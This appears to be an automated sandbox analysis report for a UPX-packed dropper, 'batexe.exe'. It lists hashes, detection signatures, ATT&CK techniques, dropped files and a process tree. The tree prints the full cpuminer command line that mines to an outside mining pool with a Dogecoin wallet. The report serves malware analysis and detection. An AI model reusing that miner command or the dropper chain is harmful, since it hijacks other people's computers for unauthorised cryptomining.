73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14/02/2024, 08:14

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4308	b2e.exe
2344	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe
2344	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1104-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1104 wrote to memory of 4308	1104	batexe.exe	83
PID 1104 wrote to memory of 4308	1104	batexe.exe	83
PID 1104 wrote to memory of 4308	1104	batexe.exe	83
PID 4308 wrote to memory of 1844	4308	b2e.exe	84
PID 4308 wrote to memory of 1844	4308	b2e.exe	84
PID 4308 wrote to memory of 1844	4308	b2e.exe	84
PID 1844 wrote to memory of 2344	1844	cmd.exe	87
PID 1844 wrote to memory of 2344	1844	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9913.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe

Filesize
26.6MB

MD5
baa6e208e4996693e9e5f9fa2186a024

SHA1
1e4245422a9567a97838b7333cff60e48d1a836e

SHA256
40727c2f667e89864c3109db502fd786886ec5de59a6a493b10b189be879aec1

SHA512
d657f303bb3f77ee0510de489191c6ba606b3dfefc12f2b64ddec4ea8fafd926206b9d5cf558203e78aac3bf909aab10c727860238b8f9d91677805d8f4a3b9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe

Filesize
576KB

MD5
119b67967e9fb70b35b10846a211451e

SHA1
a53f0b93594f8a1a98dbfc74d9618e75ae25fc0e

SHA256
4cadf7e8122358ea260269b67f2c45abd114ee61349ac9a859f26ede9cd873ae

SHA512
eecc92eaeb53ce2bdd5ebaab56ca3a6b54f8eb1cf789f3af972ec2d0a16ddf2aedc08bda97f7dd765ae46f9d506bc397dc2aff1f9fedd74e3e042bb48459ed5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\8CEE.tmp\b2e.exe

Filesize
128KB

MD5
272c54a9b6cdfa558e23cc257343048a

SHA1
7f26d86cf2a3625ce3e70c9cfc9b0cc075b8d5aa

SHA256
1d7e7ea2934d091cb7ab81c31e31b4015e05a9f86b213f9d78b0297c88fb3415

SHA512
5139de29262ba7091e5ab0529232912aea9ca34fdeb16165021d3ccaba1d351abc59f2130eaa6af8c3c0510db5f649095f7043ea837267dc9eb4ce0169fa18ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\9913.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
23d79e5c9aab672f8f60c5eebe49095a

SHA1
a104fcef7239607ddf1efe7b2c23e746dfbd0dcf

SHA256
698e05c0e81105d7f7175ef33574ef428340bd4729564a58f6190349283e636a

SHA512
03fbe3b84107563ea0e7b6b345b4cb4a3bd09153068643c1a96e53bf7504b004458859dfea0c66da065defc293436f3449e568b922f1796f33850f145f8a07eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
3aa1afa79ca31a891bae85d6babe166c

SHA1
7e1c370bc4c060765e7f65fd119e388555acdd1e

SHA256
06b3a3957cff69863b29b148880b644bad496adf0072101bd78f4f6a9e159465

SHA512
44aa6243e86a02519d2ebe596d4f9c5f18840a2c51a99be38b52412a37819ffb91750030bc1f7d1d79a833f9c9eb484fd25c33070a53f0e18a28f1525cb278bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
64KB

MD5
e7317a0a343dc63f3fa3bf9ca6e93ff0

SHA1
0d48881feb76cf81fc46614bebfa3c134cada128

SHA256
277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

SHA512
84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c89e863ce2221a0f49b45a55100e468c

SHA1
569ede311983a53a8f23f254fe37735538cbfa5e

SHA256
5ca5fb55f2e5ddee30c893b0e78d1ad59f593c2c3e5ecc155f14a088c65cfb46

SHA512
f65476f7353ef6ca7378752551c28736b61916cbf54f0a17b211a5a14ab93ddc2830a1d9c3cc1118117a23be95d49b06fc8a174d1a87f360ae4b96a6bbde04b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
768KB

MD5
fe316f2b417e142dffa0e03efb65e1a4

SHA1
907805b2c3bc0a0791086cb5fc8e3a950bc78e6d

SHA256
aca06866767d9e0bbe1e9bef7efce1152d34243e1acefc5f7ac4f6a245456671

SHA512
8ebfa0700b00c4064d1ded11fc1b4001f01238ee0c4cf88a873e0ccf38c30a574d600649bfdef85f2e3aec5c279a43680f7a66604bc6f27bbda0219e3786774d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
960KB

MD5
f3707fd5b389e53285dfb3815a4785b8

SHA1
788b2ac7be4acb28e804021893e11cdd44ee0784

SHA256
f7ef0e3e60989fac5636e6e5a018b730b403b75889125b56c4d07d6279e94c94

SHA512
f11d8577758db08f597987f525b4fc4c8c3f5181255f89281300968dc90fe4b298c322e3f531f768cd5014d116bb7161365c9d3fbaa76ab835405d8a1e231f26

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
704KB

MD5
ceb1ee23d68e973e400b41e7324c71b6

SHA1
0ad5540864cf9bcbf52870ba72566625ca54e67a

SHA256
66f2f5bd30986e28a4c43ed44264cc56f63bd7a3ecd6aeb5845ac7bcd724aeee

SHA512
51ce4a101517339cb1f5c23fc953dde73f871cec2bde8ea5c9fad9376366d7b8aadaa8668ef2f7bf9d873e8817345e4e337a7a94c42c3ddf6a168377af060e9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1104-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2344-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2344-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2344-45-0x000000006FEB0000-0x000000006FF48000-memory.dmp

Filesize
608KB

Download
memory/2344-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2344-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-66-0x000000006FEB0000-0x000000006FF48000-memory.dmp

Filesize
608KB

Download
memory/2344-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2344-77-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2344-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4308-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4308-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download